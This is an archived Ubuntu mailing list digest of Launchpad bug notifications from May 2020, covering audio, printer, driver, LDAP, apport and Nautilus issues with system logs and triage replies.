  It seems that Ubuntu is not able to install the VirtualBox Guest add-
  ons even Ubuntu is able to detect it.

  See Attachement.

  Ubuntu 20.04
  Basic install after Reboot, Update and Reboot again.

  Similar Tickets in Launchpad but really old:
  https://bugs.launchpad.net/ubuntu/+source/ubuntu-drivers-common/+bug/1434579

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1878553/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878738] Re: program abort by "lh_table_new: calloc failed"

2020-05-19 Thread Leonidas S. Barbosa
Hi, thanks for report his issue. That issue was already reverted and a
new version is available. Run apt-get update; apt-get upgrade -y , and
it should install that last reverted version.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to json-c in Ubuntu.
https://bugs.launchpad.net/bugs/1878738

Title:
  program abort  by "lh_table_new: calloc failed"

Status in json-c package in Ubuntu:
  Confirmed

Bug description:
  I wrote small sample program which abort by lh_table_new calloc failed.
  see this.
  https://gist.github.com/735eec6fd0869df1facb08da5baa402c

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/json-c/+bug/1878738/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879462] Re: [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a working profile

2020-05-19 Thread Kai-Chuan Hsieh
It seems there is no hw:sofhdadsp,6 on this device.

kchsieh@kchsieh-Inspiron-3790:/proc/asound$ ls
card0  cards  devices  hwdep  modules  oss  pcm  seq  sofhdadsp  timers  version
kchsieh@kchsieh-Inspiron-3790:/proc/asound$ cd sofhdadsp
kchsieh@kchsieh-Inspiron-3790:/proc/asound/sofhdadsp$ ls
codec#0  codec#2  eld#2.0  eld#2.1  eld#2.2  eld#2.3  eld#2.4  eld#2.5  eld#2.6 
 eld#2.7  eld#2.8  id  pcm0c  pcm0p  pcm1c  pcm1p  pcm3p  pcm4p  pcm5p

kchsieh@kchsieh-Inspiron-3790:~$ cd /dev/snd/
kchsieh@kchsieh-Inspiron-3790:/dev/snd$ ls
by-path  controlC0  hwC0D0  hwC0D2  pcmC0D0c  pcmC0D0p  pcmC0D1c  pcmC0D1p  
pcmC0D3p  pcmC0D4p  pcmC0D5p  seq  timer
kchsieh@kchsieh-Inspiron-3790:/dev/snd$

** Attachment added: "pulseaudio log"
   
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1879462/+attachment/5374133/+files/a.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1879462

Title:
  [Dell Inspiron 3790] pulseaudio module-alsa-card failed to find a
  working profile

Status in pulseaudio package in Ubuntu:
  New

Bug description:
  kchsieh@kchsieh-Inspiron-3790:~$ lsb_release -rd
  Description:  Ubuntu 20.04 LTS
  Release:  20.04
  kchsieh@kchsieh-Inspiron-3790:~$

  pulseaudio:
Installed: 1:13.99.1-1ubuntu3.2
Candidate: 1:13.99.1-1ubuntu3.2
Version table:
   *** 1:13.99.1-1ubuntu3.2 500
  500 http://tw.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   1:13.99.1-1ubuntu3 500
  500 http://tw.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  Expect result:
  module-alsa-card loads successfully, 'pacmd info' shows the recognized sink 
device.

  Actual result:
  'pacmd info' shows "Dummy Output", and failed to load module-alsa-card.
  1 sink(s) available.
* index: 0
name: 
driver: 
flags: DECIBEL_VOLUME LATENCY DYNAMIC_LATENCY
state: IDLE
suspend cause: (none)
priority: 1000
volume: front-left: 65536 / 100% / 0.00 dB,   front-right: 65536 / 100% 
/ 0.00 dB
balance 0.00
base volume: 65536 / 100% / 0.00 dB
volume steps: 65537
muted: no
current latency: 3.51 ms
max request: 6 KiB
max rewind: 6 KiB
monitor source: 0
sample spec: s16le 2ch 44100Hz
channel map: front-left,front-right
 Stereo
used by: 0
linked by: 1
configured latency: 40.00 ms; range is 0.50 .. 2000.00 ms
module: 14
properties:
device.description = "Dummy Output"
device.class = "abstract"
device.icon_name = "audio-card"
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/by-path', 
'/dev/snd/controlC0', '/dev/snd/hwC0D0', '/dev/snd/hwC0D2', 
'/dev/snd/pcmC0D5p', '/dev/snd/pcmC0D4p', '/dev/snd/pcmC0D3p', 
'/dev/snd/pcmC0D1c', '/dev/snd/pcmC0D1p', '/dev/snd/pcmC0D0c', 
'/dev/snd/pcmC0D0p', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1:
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 20.04
  InstallationDate: Installed on 2020-04-16 (33 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Beta amd64 (20200415.2)
  Package: pulseaudio 1:13.99.1-1ubuntu3.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.6.0-1010.10-oem 5.6.8
  Tags:  focal
  Uname: Linux 5.6.0-1010-oem x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/15/2019
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.2.0
  dmi.board.vendor: Dell Inc.
  dmi.chassis.type: 10
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.2.0:bd08/15/2019:svnDellInc.:pnInspiron3790:pvr:rvnDellInc.:rn:rvr:cvnDellInc.:ct10:cvr:
  dmi.product.family: Inspiron
  dmi.product.name: Inspiron 3790
  dmi.product.sku: 096B
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1879462/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1859308] Re: software-properties-gtk erroneously reports that certain Intel wireless adapter cards are not working

2020-05-19 Thread Sebastien Bacher
** Changed in: software-properties (Ubuntu)
 Assignee: (unassigned) => Olivier Tilloy (osomon)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1859308

Title:
  software-properties-gtk erroneously reports that certain Intel
  wireless adapter cards are not working

Status in software-properties package in Ubuntu:
  Confirmed

Bug description:
  On Ubuntu 20.04 (development branch), as of today, Additional Drivers
  (software-properties-gtk 0.98.6) reports that the device "Intel
  Corporation: Wireless-AC 9260" is not working, and suggests using a
  manually installed driver (cf. screenshot).

  However the device is working correctly:

    * lsmod | grep iwlwifi, lspci -v, lshw, dmesg | grep iwlwifi all show
  that its driver iwlwifi is in use
    * ls /lib/firmware/*9260* show that the appropriate firmware files
  are present

  And I am indeed writing this bug report connected to an ac (5 GHz)
  wifi network, where I can verify a ~130-160 Mbps download speed, so
  software-properties-gtk shouldn't report the device as not working and
  suggest manually installing a driver. Not sure why it says so?

  EDIT: bug confirmed as affecting the following Intel wireless adapter
  cards, and assumedly more to come:

Intel Wi-Fi 6 AX200
Intel Dual Band Wireless-AC 3165
Intel Dual Band Wireless-AC 7260
Intel Dual Band Wireless-AC 8260
Intel Wireless-AC 9260

  Also for reference here are the specs of Intel adapter cards:

ark.intel.com/content/www/us/en/ark.html#@WirelessNetworking

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: software-properties-gtk 0.98.6
  ProcVersionSignature: Ubuntu 5.4.0-9.12-generic 5.4.3
  Uname: Linux 5.4.0-9-generic x86_64
  ApportVersion: 2.20.11-0ubuntu15
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Jan 12 00:53:43 2020
  ExecutablePath: /usr/bin/software-properties-gtk
  InstallationDate: Installed on 2019-12-29 (13 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Alpha amd64 (20191226)
  InterpreterPath: /usr/bin/python3.7
  PackageArchitecture: all
  Python3Details: /usr/bin/python3.7, Python 3.7.6, python3-minimal, 
3.7.5-1ubuntu1
  PythonDetails: /usr/bin/python2.7, Python 2.7.17, python-minimal, 2.7.17-1
  SourcePackage: software-properties
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1859308/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 645404] Re: Support Private PPAs

2020-05-19 Thread Sebastien Bacher
The bug is 10 years old and there is no indication it's a priority for
bionic or focal, I'm going to wontfix for those series for now, we can
always reopen if someone end up working on the issue

** Changed in: software-properties (Ubuntu Eoan)
   Status: Confirmed => Won't Fix

** Changed in: software-properties (Ubuntu Bionic)
   Status: Confirmed => Won't Fix

** Changed in: software-properties (Ubuntu Focal)
   Status: Confirmed => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/645404

Title:
  Support Private PPAs

Status in software-properties package in Ubuntu:
  Confirmed
Status in software-properties source package in Bionic:
  Won't Fix
Status in software-properties source package in Cosmic:
  Won't Fix
Status in software-properties source package in Disco:
  Won't Fix
Status in software-properties source package in Eoan:
  Won't Fix
Status in software-properties source package in Focal:
  Won't Fix

Bug description:
  Software properties add-apt-repository currently does not support
  adding private PPAs.

  software-properties should connect to the API and observe that it gets
  permission denied trying to read the ppa. Then it can reconnect to the
  API asking for authentication, which will open a browser window where
  you can do the openid ritual. Then using that token it ought to be
  possible for it to get the password etc.

  
  ProblemType: BugDistroRelease: Ubuntu 12.04
  Package: python-software-properties 0.82.4

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/645404/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878955] Re: resolved dhclient-enter-hook complains about an empty file

2020-05-19 Thread Launchpad Bug Tracker
Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: systemd (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1878955

Title:
  resolved dhclient-enter-hook complains about an empty file

Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  When starting/using `dhclient`, it will often return an error such as:

  cmp: EOF on /tmp/tmp.yCyV6zBzhB which is empty

  This is due to the use of `cmp` in "/etc/dhcp/dhclient-enter-
  hooks.d/resolved"

  Because the $oldstate file can be empty, or different, it should use
  `cmp --quiet`

  This happens when "/run/systemd/resolved.conf.d/isc-
  dhcp-v*-$interface.conf" files do not exist, or when the content
  changes.

  This is very loosely related to
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1805183

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1878955/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879206] Re: cups hplip not install printer

2020-05-19 Thread Stefano Dall'Agata
>From software center

** Attachment added: "hplip snap.png"
   
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1879206/+attachment/5374126/+files/hplip%20snap.png

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1879206

Title:
  cups hplip not install printer

Status in cups package in Ubuntu:
  New
Status in hplip package in Ubuntu:
  Incomplete

Bug description:
  After upgrading to Ubuntu 20.04 I can't print anymore.

  Description:  Ubuntu 20.04 LTS
  Release:  20.04

  cups:
Installato: 2.3.1-9ubuntu1.1
Candidato:  2.3.1-9ubuntu1.1
Tabella versione:
   *** 2.3.1-9ubuntu1.1 500
  500 http://it.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.3.1-9ubuntu1 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  hplip:
Installato: 3.20.3+dfsg0-2
Candidato:  3.20.3+dfsg0-2
Tabella versione:
   *** 3.20.3+dfsg0-2 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  
  I tried to reinstall the printer, but it is not being re-saved by cups / hplip

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: cups 2.3.1-9ubuntu1.1
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Mon May 18 02:24:07 2020
  InstallationDate: Installed on 2020-05-17 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  Lpstat: device for DeskJet_3630: 
hp:/usb/DeskJet_3630_series?serial=CN8AM7H3230658
  MachineType: LENOVO 80G0
  Papersize: a4
  PpdFiles: Error: command ['fgrep', '-H', '*NickName', 
'/etc/cups/ppd/DeskJet_3630.ppd'] failed with exit code 2: grep: 
/etc/cups/ppd/DeskJet_3630.ppd: Permission denied
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-29-generic 
root=UUID=6a8469e0-ecea-4a86-8040-b0caaa938fe4 ro quiet splash vt.handoff=7
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/18/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A7CN40WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lancer 5A6
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-30
  dmi.modalias: 
dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80G0:pvrLenovoG50-30:rvnLENOVO:rnLancer5A6:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-30:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80G0
  dmi.product.sku: LENOVO_MT_80G0_BU_idea_FM_Lenovo G50-30
  dmi.product.version: Lenovo G50-30
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1879206/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1879206] Re: cups hplip not install printer

2020-05-19 Thread Till Kamppeter
Where did you get a .snap from HPLIP?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to cups in Ubuntu.
https://bugs.launchpad.net/bugs/1879206

Title:
  cups hplip not install printer

Status in cups package in Ubuntu:
  New
Status in hplip package in Ubuntu:
  Incomplete

Bug description:
  After upgrading to Ubuntu 20.04 I can't print anymore.

  Description:  Ubuntu 20.04 LTS
  Release:  20.04

  cups:
Installato: 2.3.1-9ubuntu1.1
Candidato:  2.3.1-9ubuntu1.1
Tabella versione:
   *** 2.3.1-9ubuntu1.1 500
  500 http://it.archive.ubuntu.com/ubuntu focal-updates/main amd64 
Packages
  500 http://security.ubuntu.com/ubuntu focal-security/main amd64 
Packages
  100 /var/lib/dpkg/status
   2.3.1-9ubuntu1 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages

  hplip:
Installato: 3.20.3+dfsg0-2
Candidato:  3.20.3+dfsg0-2
Tabella versione:
   *** 3.20.3+dfsg0-2 500
  500 http://it.archive.ubuntu.com/ubuntu focal/main amd64 Packages
  100 /var/lib/dpkg/status

  
  I tried to reinstall the printer, but it is not being re-saved by cups / hplip

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: cups 2.3.1-9ubuntu1.1
  ProcVersionSignature: Ubuntu 5.4.0-29.33-generic 5.4.30
  Uname: Linux 5.4.0-29-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Mon May 18 02:24:07 2020
  InstallationDate: Installed on 2020-05-17 (0 days ago)
  InstallationMedia: Ubuntu 20.04 LTS "Focal Fossa" - Release amd64 (20200423)
  Lpstat: device for DeskJet_3630: 
hp:/usb/DeskJet_3630_series?serial=CN8AM7H3230658
  MachineType: LENOVO 80G0
  Papersize: a4
  PpdFiles: Error: command ['fgrep', '-H', '*NickName', 
'/etc/cups/ppd/DeskJet_3630.ppd'] failed with exit code 2: grep: 
/etc/cups/ppd/DeskJet_3630.ppd: Permission denied
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-29-generic 
root=UUID=6a8469e0-ecea-4a86-8040-b0caaa938fe4 ro quiet splash vt.handoff=7
  SourcePackage: cups
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 07/18/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A7CN40WW
  dmi.board.asset.tag: NO Asset Tag
  dmi.board.name: Lancer 5A6
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993WIN
  dmi.chassis.asset.tag: NO Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-30
  dmi.modalias: 
dmi:bvnLENOVO:bvrA7CN40WW:bd07/18/2014:svnLENOVO:pn80G0:pvrLenovoG50-30:rvnLENOVO:rnLancer5A6:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-30:
  dmi.product.family: IDEAPAD
  dmi.product.name: 80G0
  dmi.product.sku: LENOVO_MT_80G0_BU_idea_FM_Lenovo G50-30
  dmi.product.version: Lenovo G50-30
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/cups/+bug/1879206/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1164016] Re: restore type-ahead find

2020-05-19 Thread guy.brush
I don’t think anyone has an agenda here. People are searching for a way
to give feedback and to communicate their frustration with this change.
Obviously, this change which broke functionality that many users relied
on caused quite a bit of frustration.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-settings in Ubuntu.
https://bugs.launchpad.net/bugs/1164016

Title:
  restore type-ahead find

Status in Nautilus:
  Expired
Status in nautilus package in Ubuntu:
  Fix Released
Status in ubuntu-settings package in Ubuntu:
  Fix Released

Bug description:
  GNOME removed type-ahead find in Nautilus 3.6, not without
  controversy:

  https://mail.gnome.org/archives/nautilus-
  list/2012-August/msg2.html

  Now when you type in a Nautilus window, Nautilus immediately performs
  a search in the current directory and all its subdirectories.  I
  personally find this annoying.  If I want to search, I'll click the
  search icon.  Often I'm looking at a long directory listing and simply
  want to jump to a certain point in it, and type-ahead find works great
  for that.

  Would Ubuntu consider patching type-ahead find back in?

To manage notifications about this bug go to:
https://bugs.launchpad.net/nautilus/+bug/1164016/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1876659] Re: Unhandled exception in run_hang()

2020-05-19 Thread Seong-Joong Kim
** Also affects: apport
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1876659

Title:
  Unhandled exception in run_hang()

Status in Apport:
  New
Status in apport package in Ubuntu:
  New

Bug description:
  ## Description
  When we start apport-cli without PID, an unhandled exception in apport 
2.20.11 and earlier may allow an authenticated user to potentially enable a 
denial of service via local access.

  The following command may cause an application crash due to an
  unhandled exception.

  $ apport-cli --hanging

  *** Send problem report to the developers?

  After the problem report has been sent, please fill out the form in the
  automatically opened web browser.

  What would you like to do? Your options are:
S: Send report (24.0 KB)
V: View report
K: Keep report file for sending later or copying to somewhere else
I: Cancel and ignore future crashes of this program version
C: Cancel
  Please choose (S/V/K/I/C): K
  Problem report file: /tmp/apport.apport.uc0_znhj.apport
  Traceback (most recent call last):
File "/usr/bin/apport-cli", line 387, in 
  if not app.run_argv():
File "/usr/lib/python3/dist-packages/apport/ui.py", line 690, in run_argv
  self.run_hang(self.options.pid)
File "/usr/lib/python3/dist-packages/apport/ui.py", line 410, in run_hang
  os.kill(int(pid), signal.SIGKILL)
  TypeError: int() argument must be a string, a bytes-like object or a number, 
not 'NoneType'

  
  Above command generates the following application crash file in /var/crash/ 
directory.

  ProblemType: Crash
  CurrentDesktop: ubuntu:GNOME
  Date: Sun May  3 19:09:41 2020
  ExecutablePath: /usr/bin/apport-cli
  ExecutableTimestamp: 1585099033
  InterpreterPath: /usr/bin/python3.6
  ProcCmdline: /usr/bin/python3 /usr/bin/apport-cli --hanging
  ProcCwd: /home/user/apport/bin
  ProcEnviron:
   ...
  ProcMaps:
   ...
  ProcStatus:
   ...
  PythonArgs: ['/usr/bin/apport-cli', '--hanging']
  Traceback:
   Traceback (most recent call last):
 File "/usr/bin/apport-cli", line 387, in 
   if not app.run_argv():
 File "/usr/lib/python3/dist-packages/apport/ui.py", line 690, in run_argv
   self.run_hang(self.options.pid)
 File "/usr/lib/python3/dist-packages/apport/ui.py", line 410, in run_hang
   os.kill(int(pid), signal.SIGKILL)
   TypeError: int() argument must be a string, a bytes-like object or a number, 
not 'NoneType'
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _LogindSession: 6

  
  Many thanks.

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1876659/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1877023] Re: Unhandled exception in check_ignored()

2020-05-19 Thread Seong-Joong Kim
** Also affects: apport
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1877023

Title:
  Unhandled exception in check_ignored()

Status in Apport:
  New
Status in apport package in Ubuntu:
  Confirmed

Bug description:
  Hi,

  I have found a security issue on apport 2.20.11 and earlier.

  ## Vulnerability 
  apport 2.20.11 and earlier have an unhandled exception vulnerability during 
parsing apport-ignore.xml.
  An attacker can cause a denial of service (i.e., application crash) via a 
crafted apport-ignore.xml file.

  ## Description
  Reports can be suppressed by blacklisting in apport-ignore.xml.

  This is an example of apport-ignore.xml

  
  
    
    
    
  

  Unfortunately, it may cause an unhandled exception when 'mtime'
  attribute is specified as a string value, not a number like this.

  
  
    
  

  It may disrupt apport service and allow an attacker to potentially
  enable a denial of service via local access.

  The flaw lies in improper exception handling of 'mtime' attribute in
  apport-ignore.xml (see
  
https://git.launchpad.net/ubuntu/+source/apport/tree/apport/report.py?h=applied/ubuntu/devel#n1104).

  ## Log
  Here is /var/log/apport.log when the above exception occurs.

  ERROR: apport (pid 25904) Tue May  5 18:38:21 2020: Unhandled exception:
  Traceback (most recent call last):
    File "/usr/share/apport/apport", line 629, in 
  if info.check_ignored():
    File "/usr/lib/python3/dist-packages/apport/report.py", line 1082, in 
check_ignored
  if float(ignore.getAttribute('mtime')) >= cur_mtime:
  ValueError: could not convert string to float: 'string'

  Sincerely,

To manage notifications about this bug go to:
https://bugs.launchpad.net/apport/+bug/1877023/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878945] Re: crash slapd after update

2020-05-19 Thread Rafael David Tinoco
It says that your ldap database cannot be opened... There is a debconf
option that says:

"Do you want the database to be removed when slapd is purged?"

I wonder if you had that enabled before the upgrade.

During slapd upgrade, it asks to create a backup of /var/lib/slapd:

(c)rafaeldtinoco@focal:/var/lib/ldap$ sudo dpkg-reconfigure -p low slapd 
  Backing up /etc/ldap/slapd.d in /var/backups/slapd-2.4.49+dfsg-2ubuntu1.2... 
done.
  Moving old database directory to /var/backups:
  - directory unknown... done.
  Creating initial configuration... done.
  Creating LDAP directory... done.

Do you have anything under /var/backups/* named '*slapd*' ?

** Changed in: openldap (Ubuntu)
   Status: New => Triaged

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openldap in Ubuntu.
https://bugs.launchpad.net/bugs/1878945

Title:
  crash slapd after update

Status in openldap package in Ubuntu:
  Triaged

Bug description:
  hi,
  after update slapd to version 2.4.42+dfsg-2ubuntu3.8 I get not working ldap 
auth service;

  perform: slaptest -f /etc/ldap/slapd.conf -F /etc/ldap/slapd.d/ and
  get:

  5ebeb45f hdb_db_open: database "dc=myBase": 
db_open(/var/lib/ldap/id2entry.bdb) failed: No such file or directory (2).
  5ebeb45f backend_startup_one (type=hdb, suffix="dc=myBase"): bi_db_open 
failed! (2)
  slap_startup failed (test would succeed using the -u switch)

  journalctl -xe

  -- Unit slapd.service has finished starting up.
  --
  -- The start-up result is done.
  May 15 18:25:33 srv sshd[3917]: Connection closed by IP port PORT1 [preauth]
  May 15 18:26:32 srv sshd[3919]: Connection closed by IP port PORT2 [preauth]
  May 15 18:27:21 srv systemd[1]: Starting Daily apt download activities...
  -- Subject: Unit apt-daily.service has begun start-up
  -- Defined-By: systemd
  -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
  --
  -- Unit apt-daily.service has begun starting up.
  May 15 18:27:23 srv systemd[1]: Started Daily apt download activities.
  -- Subject: Unit apt-daily.service has finished start-up
  -- Defined-By: systemd
  -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
  --
  -- Unit apt-daily.service has finished starting up.
  --
  -- The start-up result is done.
  May 15 18:27:32 srv sshd[3987]: Connection closed by IP port PORT3 [preauth]
  May 15 18:28:04 srv systemd[1]: Stopping LSB: OpenLDAP standalone server 
(Lightweight Directory Access Protocol)...
  -- Subject: Unit slapd.service has begun shutting down
  -- Defined-By: systemd
  -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
  --
  -- Unit slapd.service has begun shutting down.
  May 15 18:28:04 srv slapd[4020]:  * Stopping OpenLDAP slapd
  May 15 18:28:14 srv slapd[4020]:...fail!
  May 15 18:28:14 svr systemd[1]: slapd.service: Control process exited, 
code=exited status=1
  May 15 18:28:14 srv systemd[1]: Stopped LSB: OpenLDAP standalone server 
(Lightweight Directory Access Protocol).
  -- Subject: Unit slapd.service has finished shutting down
  -- Defined-By: systemd
  -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
  --
  -- Unit slapd.service has finished shutting down.
  May 15 18:28:14 srv systemd[1]: slapd.service: Unit entered failed state.
  May 15 18:28:14 srv systemd[1]: slapd.service: Failed with result 'exit-code'.
  May 15 18:28:14 srv systemd[1]: Starting LSB: OpenLDAP standalone server 
(Lightweight Directory Access Protocol)...
  -- Subject: Unit slapd.service has begun start-up
  -- Defined-By: systemd
  -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
  --
  -- Unit slapd.service has begun starting up.
  May 15 18:28:15 srv slapd[4029]:  * Starting OpenLDAP slapd
  May 15 18:28:15 srv slapd[4029]:...done.
  May 15 18:28:15 srv systemd[1]: Started LSB: OpenLDAP standalone server 
(Lightweight Directory Access Protocol).
  -- Subject: Unit slapd.service has finished start-up
  -- Defined-By: systemd
  -- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
  --
  -- Unit slapd.service has finished starting up.
  --
  -- The start-up result is done.

  OS: Ubuntu 16.04.6 LTS

  help, please!

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/openldap/+bug/1878945/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp


[Touch-packages] [Bug 1878233] Re: Unable to locate package/Headers missing

2020-05-19 Thread Dmitry Shachnev
This is now fixed in Qt 5.14 packages in groovy-proposed. Unfortunately,
this will not be fixed in Ubuntu 20.04 LTS (focal) because it does not
meet the Stable Release Update criteria.

If you want to use this API in focal, I suggest you to use locally built
Qt or create a PPA.

